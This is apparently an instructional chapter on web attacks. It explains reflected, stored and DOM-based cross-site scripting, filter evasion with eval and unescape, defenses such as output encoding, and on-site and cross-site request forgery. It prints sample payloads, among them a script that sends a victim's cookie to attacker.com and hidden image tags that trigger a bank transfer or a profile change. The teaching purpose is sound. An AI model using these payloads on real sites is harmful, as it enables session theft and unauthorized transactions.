Cross-Site Scripting

Injection attacks are generally considered server-side attacks, aiming to compromise the web server to steal data or execute malicious code within its environment. When it's not possible to compromise the application server-side, attackers may shift their focus to targeting other users of the application.

1.1 XSS

Cross-Site Scripting (XSS) describes a class of attack techniques where an attacker injects a malicious script into a trusted website. When a user visits the compromised page, their web browser executes this script. The attack exploits a vulnerability in the web application itself, often related to how it handles user-supplied data, rather than directly compromising the server's operating system. There are three major classifications of XSS: Reflected, Stored, and DOM-based.

Reflected XSS. Reflected XSS is a non-persistent attack where the malicious script is "reflected" off the web server and executed in the victim's browser. The primary goal is often to steal the user's session, typically by capturing their session cookie. How it works:

(1) *Vulnerability*: A web application might be vulnerable if it includes user-supplied input directly in the HTTP response without proper sanitization. Imagine a search function that displays the search term back to the user on the results page.

(2) *Attacker's Payload*: The attacker crafts a URL containing a malicious script as part of a parameter. For example: `http://example.com/search?q=<script>alert(1)</script>` .

(3) *Luring the Victim*: The attacker then sends this specially crafted URL to a victim, perhaps via email, a malicious link on another website, or a chat message.

(4) *Reflection and Execution*: When the victim clicks the link, their browser sends a request to `example.com` . The vulnerable web application takes the `q` parameter's value and reflects it directly back into the HTML of the search results page. The victim's browser receives the page and, seeing valid JavaScript within `<script>` tags, executes it.

The `alert(1)` example demonstrates script execution, but a more impactful attack involves stealing the victim's session cookie.

(1) *Attacker's Payload*: The attacker crafts a URL like: `http://example.com/search?query=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`

(2) *Luring and Execution*:

- The victim clicks this link.
- The vulnerable application reflects the script into the page.
- The victim's browser executes this script.

- `document.cookie` accesses the victim's session cookie for `example.com` .
- `document.location='http://attacker.com/steal?cookie='+...` redirects the victim's browser to the attacker's server, appending the stolen cookie to the URL as parameter.

(3) *Session Hijacking*: The attacker's web page (`attacker.com`) receives the request containing the victim's cookie. With this cookie, the attacker can then use it to impersonate the victim and hijack their session on `example.com` without needing their username or password. This allows the attacker to access the victim's account and perform actions as them.

Stored XSS. In a Stored XSS attack, the objective is to persistently inject a malicious script into a web application's data storage, so that it's delivered to and executed by multiple users over time. This type of attack is particularly potent in applications that allow user interaction and publicly display the input, such as comment sections, user profiles, forums, or review pages. The attack typically unfolds as follows:

(1) *Injection*: The attacker submits a comment, post, or other input containing a malicious script.

(2) *Storage*: The vulnerable web application stores this input without proper sanitization in its persistent data store.

(3) *Delivery*: A victim user logs in and navigates to the compromised page (e.g., the comment thread).

(4) *Execution*: The server responds by retrieving the attacker's script from the database and including it directly in the HTML sent to the victim's browser.

(5) *Compromise*: The script executes in the victim's browser, enabling the attacker to steal the victim's session token or perform other malicious actions, ultimately allowing the attacker to hijack the user's session.

DOM-based XSS. DOM-based XSS (Document Object Model-based XSS) is unique because the vulnerability and execution occur entirely on the client-side. The script is executed when the client-side code dynamically processes user-supplied data in an unsafe manner, often manipulating the structure and content of the page (the DOM). The server is typically not involved in processing the malicious payload. This attack exploits the fact that the page's visualization and behavior are often generated or modified by client-side JavaScript code. The attack steps often look like this:

(1) *Luring*: The attacker feeds a crafted URL to the user. The malicious payload is usually contained within the URL fragment or a query string.

(2) *Request*: The user requests the URL from the server.

(3) *Response*: The server responds with a page containing legitimate client-side JavaScript code that is designed to read data from the URL to dynamically update a part of the page.

(4) *Vulnerability Triggered*: The client-side JavaScript processes the attacker's URL parameter unsafely, inserting the malicious payload into the DOM.

(5) *Execution*: The attacker's script is executed by the browser due to the client-side processing, enabling the theft of the user's session token or other client-side actions.

(6) *Hijacking*: The victim's browser sends the session token to the attacker, allowing the attacker to hijack the user's session.

1.2 Anti-XSS Filters and Evasion

Web applications and browsers often implement Anti-XSS filters designed to prevent the execution of malicious scripts. These filters operate by sanitizing or blocking dangerous input. Typical filtering actions include:

- *Sanitization*: Replacing sensitive tags like `<script>` with harmless text (e.g., changing it to `&lt;script&gt;`).
- *Removal/Replacement*: Eliminating or replacing characters critical to script execution, such as angle brackets, quotation marks, or event handlers (`onload` , `onerror`).

Evasion and Obfuscation. When faced with filters, the attacker's primary strategy is to test numerous payloads until a variant is discovered that bypasses the specific security controls. This process of creating hard-to-detect malicious payloads is broadly known as obfuscation. JavaScript is particularly susceptible to obfuscation due to its flexible, dynamic nature. Obfuscation techniques use built-in JavaScript functions to hide the true nature of the code until it is executed by the browser, effectively hiding the script from the static filters. Three common obfuscation methods are:

- `eval()` : This function is highly dangerous as it dynamically interprets a string as executable code. An attacker can hide their malicious payload within a complex, non-obvious string that only `eval()` can resolve and execute.
- `unescape()` / `decodeURI()` / `decodeURIComponent()` : These functions are used to replace hexadecimal, octal, or URL-encoded characters with their original equivalents. This allows the attacker to encode the entire payload, so it appears harmless to a filter, and then rely on the victim's browser to decode and execute it.
- `String.prototype.replace()` : This can be used repeatedly to substitute benign or fragmented strings into dangerous keywords. For example, replacing a variable placeholder with the word "script" right before execution.

An attacker might want to inject `<script>alert(1)</script>` . To bypass a filter blocking the word "script", they can use encoding and `eval()` .

The encoded payload is `eval(unescape(%3C%73%63...%70%74%3E'))` . This filter sees a string of seemingly random characters. When executed by the browser, `unescape()` converts the string back into the original dangerous JavaScript code. `eval()` then executes the resulting string, triggering the alert.

1.3 Preventing Cross-Site Scripting

Effective protection against XSS requires a layered approach across the application lifecycle. There are three primary levels of prevention:

(1) *Input Validation*: This occurs when data is initially received by the server. It involves ensuring that the data is the correct type and length. While often useful for general security, relying solely on input validation for XSS is risky, as determined attackers can often find ways around filters. Key methods include:

- Length Checks: Ensuring data is not excessively long.
- Sanitization: Removing or filtering potentially malicious code fragments (though this is better handled by encoding at the output stage).
- Regular Expressions: Checking the format of the input against expected patterns (e.g., ensuring a username only contains letters and numbers).

(2) *Output Encoding*: This is the most crucial defense. It involves treating user-supplied data as data, not executable code, before rendering it on the page. Using HTML encoding ensures that dangerous characters are replaced with their harmless entity equivalents.

(3) *Avoiding Dangerous Insertion Points*: Applications should never insert user-supplied input directly into an already existing sensitive context, such as within a `<script>` block, an event handler (`onload`), or an `href` attribute without strict and specific context-aware encoding. This is particularly relevant for DOM-based XSS, where client-side code must be structured to only treat input as data.

Request Forgery Attacks. Request forgery attacks leverage the victim's authenticated session to trick them into executing unauthorized actions.

On-Site Request Forgery (OSRF) involves a malicious action initiated from a script or link on the same vulnerable website. The core idea is that the attacker finds a vulnerability on the web application itself that allows them to trick an authenticated user into generating an unexpected request. Because the request originates from the same site, all the necessary cookies and session tokens are automatically included. Suppose a vulnerable application (`example.com`) allows a profile picture change via a simple GET request: `http://example.com/profile/change_pic?url=user_uploaded_pic.jpg`. An attacker finds that this URL can be embedded in an image tag on a comment section on the same site:

- *Attacker's Payload (in a comment)*: `<img src="http://example.com/profile/change_pic?url=http://attacker.com/malware.jpg" width="0" height="0">`
- *Execution*: When an authenticated victim (who is already logged into `example.com`) views the malicious comment, their browser automatically attempts to load the invisible image. This hidden request hits the server as: `GET /profile/change_pic?url=http://attacker.com/malware.jpg`.
- *Result*: The application, believing the request is legitimate because it came from an authenticated user on its own domain, changes the victim's profile picture to one controlled by the attacker.

Cross-Site Request Forgery (CSRF) is a more common and classic attack where an attacker tricks a victim into sending a legitimate request to a vulnerable web application from a different, external domain. The concept is similar to OSRF, but the source of the malicious request is an attacker-controlled page, not the vulnerable site itself. Suppose a banking application, `bank.com` , allows

money transfer via a simple GET request: `https://bank.com/transfer?account=attacker_account&amount=1000`:

(1) *Attacker Action*: The attacker creates a fake webpage `attacker.com/malicious.html` containing an invisible element that targets the bank's action URL: `<img src="https://bank.com/transfer?account=attacker_account&amount=1000" width="0" height="0">`.

(2) *Luring the Victim*: The attacker sends the link to this malicious page to the victim.

(3) *Execution*: The victim, who is logged into `bank.com` in another tab, visits the malicious website. The victim's browser attempts to load the invisible image, sending a request to `bank.com` . Crucially, because the victim is logged in, their browser automatically includes the session cookie with the request.

(4) *Result*: `bank.com` receives what appears to be a legitimate, authenticated request from the user and executes the transfer of $1000 to the attacker's account.